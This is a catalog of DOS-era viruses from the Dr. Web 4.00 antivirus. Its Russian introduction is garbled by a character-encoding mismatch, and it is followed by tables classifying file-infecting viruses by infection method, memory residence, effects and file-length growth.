Îïèñàíèÿ âèðóñîâ
Êàòàëîã âèðóñîâ, îïðåäåëÿåìûõ è îáåçâðåæèâàåìûõ Dr. Web 4.00
Ôàéë îïèñàíèÿ âèðóñîâ, îïðåäåëÿåìûõ è îáåçâðåæèâàåìûõ Dr. Web 4.00
Êàòàëîã âèðóñîâ, îïðåäåëÿåìûõ è îáåçâðåæèâàåìûõ Dr. Web 4.00
 ïðåäëàãàåìîì êàòàëîãå äëÿ êàæäîãî âèðóñà ïðèâåäåíà èíôîðìàöèÿ îá åãî
ñâîéñòâàõ. Ñèìâîëüíîå ïðåäñòàâëåíèå ýòèõ ñâîéñòâ ïîëíîñòüþ ïîâòîðÿåò
êëàññèôèêàöèîííûé êîä, ïðåäëîæåííûé Í.Í. Áåçðóêîâûì è Å.Â. Êàñïåðñêèì.
 êà÷åñòâå îñíîâíûõ îïîçíàâàòåëåé âèðóñà áóäåò óêàçûâàòüñÿ åãî èìÿ è
äëèíà.
Äëèíîé ôàéëîâîãî âèðóñà ñ÷èòàåòñÿ äëèíà òåëà âèðóñà (êîäû + äàííûå +
ñòåê âèðóñà, åñëè åñòü) áåçî âñÿêèõ äîáàâîê.  áîëüøèíñòâå ñëó÷àåâ îíà
ðàâíà ìèíèìàëüíîìó ïðèðàùåíèþ äëèí ôàéëîâ ïðè èõ çàðàæåíèè. Äëÿ
çàãðóçî÷íûõ âèðóñîâ â êà÷åñòâå äëèíû ïðèíèìàåòñÿ ïîëíàÿ äëèíà òåëà
âèðóñà, ò.å. ÷èñëî çàíèìàåìûõ âèðóñîì ñåêòîðîâ, óìíîæåííîå íà ÷èñëî
áàéò â ñåêòîðå. Ôàéëîâî-çàãðóçî÷íûå âèðóñû ìîãóò èìåòü äâà çíà÷åíèÿ
äëèíû - äëèíà âèðóñà ïðè çàðàæåíèè ôàéëà è äëèíà âèðóñà ïðè çàðàæåíèè
ñåêòîðà.
 òàáëèöàõ êàòàëîãà âñòðå÷àþòñÿ ñëåäóþùèå ñèìâîëû:
+ - íàëè÷èå ñâîéñòâà;
- - îòñóòñòâèå ñâîéñòâà;
* - èìååòñÿ äîïîëíèòåëüíàÿ èíôîðìàöèÿ â ôàéëå VIRLIST.WEB;
& - îäíîâðåìåííîå âûïîëíåíèå ñâîéñòâ.
V - âûçûâàåò âèäåîýôôåêòû (Video);
M - âûçûâàåò çâóêîâûå ýôôåêòû (Music);
H - èìååò äåñòðóêòèâíóþ ôóíêöèþ (Harm);
Er - ñîäåðæèò îøèáêó, êîòîðàÿ ìîæåò ïðîÿâëÿòüñÿ êàê
äåñòðóêòèâíàÿ ôóíêöèÿ (Error);
Ch - èçìåíÿåò ñëóæåáíóþ èíôîðìàöèþ: ìåòêó äèñêà, âîçâðàùàåò
íåâåðíóþ âåðñèþ DOS è ò.ï. (Change).
Äëÿ ôàéëîâûõ âèðóñîâ (òàáë. 1):
B - BAT-ôàéëû
.B - .BAT-ôàéëû (ôàéëû ñ ðàñøèðåíèåì ".BAT");
C - COM-ôàéëû;
.C - .COM-ôàéëû (ôàéëû ñ ðàñøèðåíèåì ".COM");
E - EXE-ôàéëû;
.E - .EXE-ôàéëû (ôàéëû ñ ðàñøèðåíèåì ".EXE");
S - SYS-ôàéëû;
O - ïðî÷èå ôàéëû (Other).
Äëÿ çàãðóçî÷íûõ âèðóñîâ (òàáë. 2):
B - Boot-ñåêòîð âèí÷åñòåðà;
M - MBR âèí÷åñòåðà;
F - Boot-ñåêòîð ôëîïïè-äèñêîâ.
Äëÿ ôàéëîâî-çàãðóçî÷íûõ âèðóñîâ óïîòðåáëÿåòñÿ ïîëíûé íàáîð ñèìâîëèêè.
Íàïðèìåð, åñëè äëÿ ôàéëîâîãî âèðóñà â ãðàôå, ñîîòâåòñòâóþùåé
ïîðàæàåìûì îáúåêòàì, óêàçàíî "E C&.C", òî ýòî îçíà÷àåò, ÷òî âèðóñ
ïîðàæàåò òîëüêî ôàéëû, èìåþùèå ëèáî ôîðìàò EXE, ëèáî ôîðìàò COM è
îäíîâðåìåííî ðàñøèðåíèå èìåíè ".COM" (ò.å. íå ïîðàæàþòñÿ ôàéëû,
êîòîðûå èìåþò ôîðìàò COM è ðàñøèðåíèå èìåíè ".EXE").
Ïðè îïèñàíèè ñâîéñòâ ôàéëîâûõ âèðóñîâ (òàáë. 1) èñïîëüçóþòñÿ
ñïåöèàëüíûå çíàêè.
Ìåñòî âíåäðåíèÿ â ôàéë:
s - â íà÷àëî (start);
e - â êîíåö (end);
i - â ñåðåäèíó (insert).
Ìåòîä çàðàæåíèÿ:
FIND - èñïîëüçóÿ ôóíêöèè FindFirst è FindNext;
INT - ïåðåõâàòûâàÿ îáðàùåíèÿ DOS ê ôàéëàì;
INFI - èñïîëüçóÿ îáà ñïîñîáà.
Ñïîñîá âíåäðåíèÿ â îïåðàòèâíóþ ïàìÿòü (òîëüêî äëÿ ðåçèäåíòíûõ âèðóñîâ):
ADDR - çàïèñûâàåòñÿ â îáû÷íóþ ïàìÿòü ïî ôèêñèðîâàííîìó àäðåñó
áåç êîððåêöèè MCB-áëîêîâ;
BUFF - çàïèñûâàåòñÿ â äèñêîâûé áóôåð;
DOSD - çàïèñûâàåòñÿ â îáëàñòü äàííûõ DOS (àäðåñ 0060:????);
INTB - çàïèñûâàåòñÿ â òàáëèöó âåêòîðîâ;
KEEP - èñïîëüçóÿ ïðåðûâàíèÿ DOS (INT 21h f.31 èëè INT 27h);
MCB - îïåðèðóÿ ñ MCB;
VIDE - çàïèñûâàåòñÿ â âèäåîïàìÿòü.
Äëèíà:
L - äëèíà âèðóñà;
p - äëèíà çàðàæàåìîãî ôàéëà óâåëè÷èâàåòñÿ äî çíà÷åíèÿ, êðàòíîãî
ïàðàãðàôó;
++ - âîçìîæíî ïîâòîðíîå çàðàæåíèå ôàéëîâ.
File infectors, part 0-9
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º3APA3A (3)¦ - ¦ - ¦ HV ¦1024 ¦IO.SYS+boot¦ s ¦ 0 * º
º4on.1346 ¦INT ¦MCB ¦ - ¦1346 ¦ .E&E * ¦ e ¦ L+p º
º4res.1049 ¦FIND¦ - ¦ - ¦1049 ¦ .C.E * ¦ e ¦ L º
º7thSon.440 ¦FIND¦ - ¦ - ¦440 ¦ .C&C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part A
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºAga.1500 ¦FIND¦ - ¦ V ¦1500 ¦ .C * ¦ e ¦ L, COMMAND v5.0-0º
ºAga.3000 ¦FIND¦ - ¦ V ¦3000 ¦ .C.E&CE* ¦CeEi ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAlex.368 ¦FIND¦ - ¦ V ¦368 ¦ .C * ¦ e ¦ L º
ºAlex.599 ¦FIND¦ - ¦ - ¦599 ¦ .C * ¦ e ¦ L º
ºAlex.818 ¦FIND¦ - ¦ V ¦818 ¦ .E&E * ¦ e ¦ L º
ºAlex.1287 ¦FIND¦ * ¦ S ¦1287 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAlfons.1344 ¦INT ¦KEEP¦ HV ¦1344 ¦ CE * ¦CsEe ¦ C-L+82, E-L+p º
ºAlfons.1536 ¦INT ¦KEEP¦ HV ¦1536 ¦ CE * ¦CsEe ¦ C-L+82, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAlia.1023 ¦INT ¦MCB ¦ Er ¦1023 ¦ E * ¦ e ¦ L+(0-7) º
ºAlia.1200 ¦INT ¦MCB ¦ Er ¦1023 ¦ E * ¦ e ¦ L+(0-7) º
ºAlia.1300 ¦INT ¦MCB ¦ - ¦1300 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAlla.1281 ¦INT ¦MCB ¦ Ch ¦1281 ¦ C+boot* ¦ e ¦ L º
ºAlla.1325 ¦INT ¦MCB ¦ Ch ¦1325 ¦ C+boot* ¦ e ¦ L º
ºAlla.1407 ¦INT ¦MCB ¦ Ch ¦1407 ¦ C+boot* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAls.335 ¦FIND¦ - ¦ HV ¦335 ¦ .C * ¦ e ¦ L º
ºAls.339 ¦FIND¦ - ¦ HV ¦339 ¦ .C.E * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAm.1061 ¦INT ¦MCB ¦ V ¦1061 ¦ .E&E* ¦ e ¦ L+p º
ºAm.1281 ¦INT ¦MCB ¦ S ¦1281 ¦ CE ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAmbulance.796(2)FIND¦ - ¦ VS ¦796 ¦ .C * ¦ e ¦ L º
ºAmbulance.2124 ¦INT ¦MCB ¦ VS ¦2124 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAmd.3948 ¦INT ¦MCB ¦ V ¦3948 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºAmd.4772 ¦INT ¦MCB ¦ V ¦4772 ¦ CE+boot* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAmoeba.1392 ¦INT ¦MCB ¦ V ¦1392 ¦ CE ¦ CsEe¦ C-L, E-L+p º
ºAmoeba.2367 ¦INT ¦MCB ¦ H ¦2367 ¦ CE ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAmt.3000 ¦INT ¦MCB ¦ - ¦3000 ¦ E ¦ e ¦ L º
ºAmt.4000 ¦INT ¦MCB ¦ - ¦4000 ¦ E ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAmz.789 ¦FIND¦ - ¦ H ¦789 ¦ .C.E&CE* ¦ e ¦ L+p º
ºAmz.1100 ¦FIND¦ - ¦ H ¦1100 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAnarchy.469 ¦FIND¦ - ¦ HV ¦469 ¦ .C * ¦ s ¦ 0, overwrite º
ºAnarchy.2048(3)¦INT ¦MCB ¦ Er ¦2048 ¦ CE * ¦ i,e ¦ 0 º
ºAnarchy.3153 ¦INT ¦MCB ¦ H ¦3153 ¦ .C.E&CE* ¦ e ¦ L º
ºAnarchy.6093 ¦INT ¦MCB ¦ H ¦6093 ¦CE+OLE2 DOC¦ e *¦ L º
ºAnarchy.6503 ¦INT ¦MCB ¦ V ¦6503 ¦ .C.E&CE* ¦ e ¦ L º
ºAnarchy.9382 ¦INT ¦MCB ¦ V ¦9382 ¦ .C.E&CE ¦ e ¦ L+p º
ºAnarchy.9594 ¦INT ¦MCB ¦ V ¦9594 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAndromeda.713 ¦INFI¦MCB ¦ - ¦713 ¦ .C ¦ e ¦ L º
ºAndromeda.725 ¦INFI¦MCB ¦ - ¦725 ¦ .C ¦ e ¦ L º
ºAndromeda.758 ¦INFI¦MCB ¦ H ¦758 ¦ .C * ¦ e ¦ L º
ºAndromeda.1024(3INT ¦MCB ¦ H ¦1024 ¦ CE ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAndryushka.3536¦INFI¦MCB ¦HVS ¦3536 ¦ .C.E&CE ¦ i ¦ L+(0-128) º
ºAndryushka.3568¦INFI¦MCB ¦HVS ¦3568 ¦ .C.E&CE ¦ i ¦ L+(0-128) º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAngel.661 ¦INT ¦UMB ¦ Ch ¦661 ¦ CE * ¦ e ¦ L+p º
ºAngel.1571 ¦INT ¦MCB ¦ - ¦1571 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAnti-AVP.959 ¦FIND¦ - ¦ - ¦959 ¦ .C&C ¦ e ¦ L º
ºAnti-AVP.1235 ¦INT ¦MCB ¦ - ¦1235 ¦ .C&C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAntiPascal.400 ¦FIND¦ - ¦ H ¦400 ¦ .C * ¦ e ¦ L º
ºAntiPascal.529 ¦FIND¦ - ¦ H ¦529 ¦ .C * ¦ s ¦ L º
ºAntiPascal.605 ¦FIND¦ - ¦ H ¦605 ¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAntiwin.465 ¦FIND¦ - ¦ HV ¦465 ¦ .C&C* ¦ e ¦ L º
ºAntiwin.633 ¦INT ¦MCB ¦ H ¦633 ¦ E * ¦ e ¦ L º
ºAntiwin.1342 ¦FIND¦ - ¦ HV ¦1342 ¦ .C&C* ¦ e ¦ L º
ºAntiwin.2320 ¦INT ¦KEEP¦ VCh¦2320 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºApparition.254 ¦INT ¦VIDE¦ S ¦254 ¦ C * ¦ e ¦ L º
ºApparition.700 ¦INFI¦VIDE¦ Ch ¦700 ¦ .C&C* ¦ e ¦ L º
ºApparition.1248¦INFI¦MCB ¦ - ¦1248 ¦ .C&C* ¦ e ¦ L º
ºApparition.5959¦INFI¦MCB ¦HVEr¦5959 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºArara.1038 ¦FIND¦ - ¦ - ¦1038 ¦ .C&C ¦ e ¦ L+? º
ºArara.1375 ¦FIND¦ - ¦ - ¦1375 ¦ .C&C ¦ e ¦ L+? º
ºArara.1391 ¦FIND¦ - ¦ - ¦1391 ¦ .C&C ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºArjDrop.402 ¦FIND¦ - ¦ - ¦402 ¦ .ARJ * ¦ i ¦ ? º
ºArjDrop.2821 ¦FIND¦ - ¦ V ¦2821 ¦ .ARJ .RAR*¦ i ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAsh.280 ¦FIND¦ - ¦ - ¦280 ¦ .C ¦ e ¦ L º
ºAsh.712 ¦FIND¦ - ¦ VCh¦712 ¦ .C&C * ¦ e ¦ L º
ºAsh.737 ¦FIND¦ - ¦ VCh¦737 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAsch.794 ¦INT ¦MCB ¦ V ¦794 ¦ E * ¦ e ¦ L+p º
ºAsch.1121 ¦INT ¦MCB ¦ HV ¦1121 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAssassin.952 ¦INT ¦MCB ¦ H ¦952 ¦ .C.E * ¦ s ¦ 0, overwrite º
ºAssassin.959 ¦INT ¦MCB ¦ H ¦959 ¦ .C.E * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAssignation.426¦INT ¦MCB ¦ Ch ¦426 ¦ E ¦ e ¦ L º
ºAssignation.653¦INT ¦MCB ¦ Ch ¦653 ¦ E ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAstra.976 ¦INFI¦MCB ¦ H ¦976 ¦ C ¦ e ¦ L º
ºAstra.1010 ¦INFI¦MCB ¦ H ¦1010 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAtas.384 ¦FIND¦ - ¦ V ¦384 ¦ .C&C * ¦ e ¦ L º
ºAtas.1268 ¦INT ¦MCB ¦ V ¦1268 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAtt.394 ¦INT ¦MCB ¦ Er ¦394 ¦ .C ¦ e ¦ L º
ºAtt.629 ¦FIND¦ - ¦ V ¦629 ¦ .C ¦ e ¦ L+1 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAvatar.DichotomyINT ¦MCB ¦ H ¦963 ¦ .C * ¦ e ¦ 1-296, 2-567 º
º.Narcosis ¦INT ¦MCB ¦ H ¦1431 ¦ CEO+boot*¦ e ¦ L º
º.Positron ¦INT ¦MCB ¦ - ¦512 ¦ C * ¦ i,e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAustralian.Grue¦INT ¦MCB ¦ - ¦338 ¦ C * ¦ e ¦ L º
º.Kuang ¦INT ¦MCB ¦ - ¦718 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAvl.110 ¦FIND¦ - ¦ - ¦110 ¦ .C ¦ e ¦ L ++ º
ºAvl.352 ¦INT ¦INTB¦ Ch ¦352 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAvs.301 ¦FIND¦ - ¦ - ¦301 ¦ .C&C * ¦ e ¦ L º
ºAvs.349 ¦INT ¦INTB¦ - ¦349 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºAwake.797 ¦INT ¦MCB ¦ V ¦797 ¦ C * ¦ e ¦ L º
ºAwake.1099 ¦INT ¦MCB ¦ V ¦1099 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºA1B2.478 ¦FIND¦ - ¦ HV ¦478 ¦ .C * ¦ s ¦ 0, overwrite º
ºA&A ¦INT ¦INTB¦ V ¦506 ¦ C * ¦ s ¦ L º
ºAav.8224 ¦INFI¦MCB ¦HVEr¦8224 ¦ .C.E ¦ e ¦ L+p, COMMAND-0 º
ºAbal.758 ¦FIND¦ - ¦ V ¦758 ¦ .C ¦ s ¦ L º
ºAbbas.5660 ¦INT ¦MCB ¦ V ¦5660 ¦ CE * ¦ e ¦ L º
ºAbraxas.1304 ¦FIND¦ - ¦ HVS¦1304 ¦ .E * ¦ s ¦ 0, overwrite º
ºAccept.3773 ¦INFI¦KEEP¦ H ¦3773 ¦ .C.E ¦ e ¦ L º
ºACDC.494 ¦INT ¦MCB ¦ - ¦494 ¦ .C ¦ e ¦ L º
ºAce.352 ¦FIND¦ - ¦ - ¦352 ¦ .C&C ¦ e ¦ L º
ºAcv.1342 (2)¦INT ¦MCB ¦ V ¦1342 ¦ E * ¦ e ¦ L+p º
ºAdder.1467 ¦INT ¦MCB ¦ Er ¦1467 ¦ CE * ¦ e ¦ L+p º
ºAde.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .E&E * ¦ e ¦ L º
ºAdin.3026 ¦INT ¦MCB ¦ H ¦3026 ¦ CE ¦ e ¦ L º
ºAdolf.475 ¦INT ¦INTB¦ H ¦475 ¦ C * ¦ e ¦ L º
ºAforia.656 ¦INT ¦MCB ¦ V ¦656 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºAfv.517 ¦INT ¦MCB ¦ - ¦517 ¦ .C ¦ s ¦ L º
ºAgiplan.1536 ¦INT ¦MCB ¦ HV ¦1536 ¦ C * ¦ s ¦ L º
ºAi.1759 ¦INT ¦MCB ¦ H ¦1759 ¦ E * ¦ e ¦ L º
ºAiw.572 ¦INT ¦MCB ¦ - ¦572 ¦ C * ¦ e ¦ L º
ºAl.797 ¦INT ¦MCB ¦ - ¦797 ¦ CS * ¦ e ¦ S-L, C-L+5 º
ºAlabama.1560(2)¦INFI¦MCB ¦ V ¦1560 ¦ .E&E* ¦ e ¦ L º
ºAlbania.575 ¦FIND¦ - ¦ - ¦575 ¦ .C&C ¦ e ¦ L º
ºAlias.6943 ¦INT ¦MCB ¦ VEr¦6943 ¦ C * ¦ e ¦ L º
ºAlive.4000 ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L º
ºAman.10716 ¦INT ¦MCB ¦ V ¦10716¦ E * ¦ e ¦ L+p º
ºAmanita.1135 ¦INT ¦MCB ¦ - ¦1135 ¦ CE * ¦ e ¦ L+p º
ºAMGorb.4670 ¦INFI¦MCB ¦ VCh¦4670 ¦ .C&C* ¦ e ¦ L+p º
ºAmkCvc.1024 ¦INT ¦KEEP¦ V ¦1024 ¦ .C.E* ¦ s ¦ L, companion º
ºAmt.4000 ¦INT ¦MCB ¦ - ¦4000 ¦ E ¦ e ¦ L º
ºAnalSex.178 ¦FIND¦ - ¦ H ¦178 ¦ .C.E* ¦ s ¦ 0, overwrite º
ºAndrey.932 ¦INFI¦MCB ¦ V ¦932 ¦ .C&C* ¦ e ¦ L º
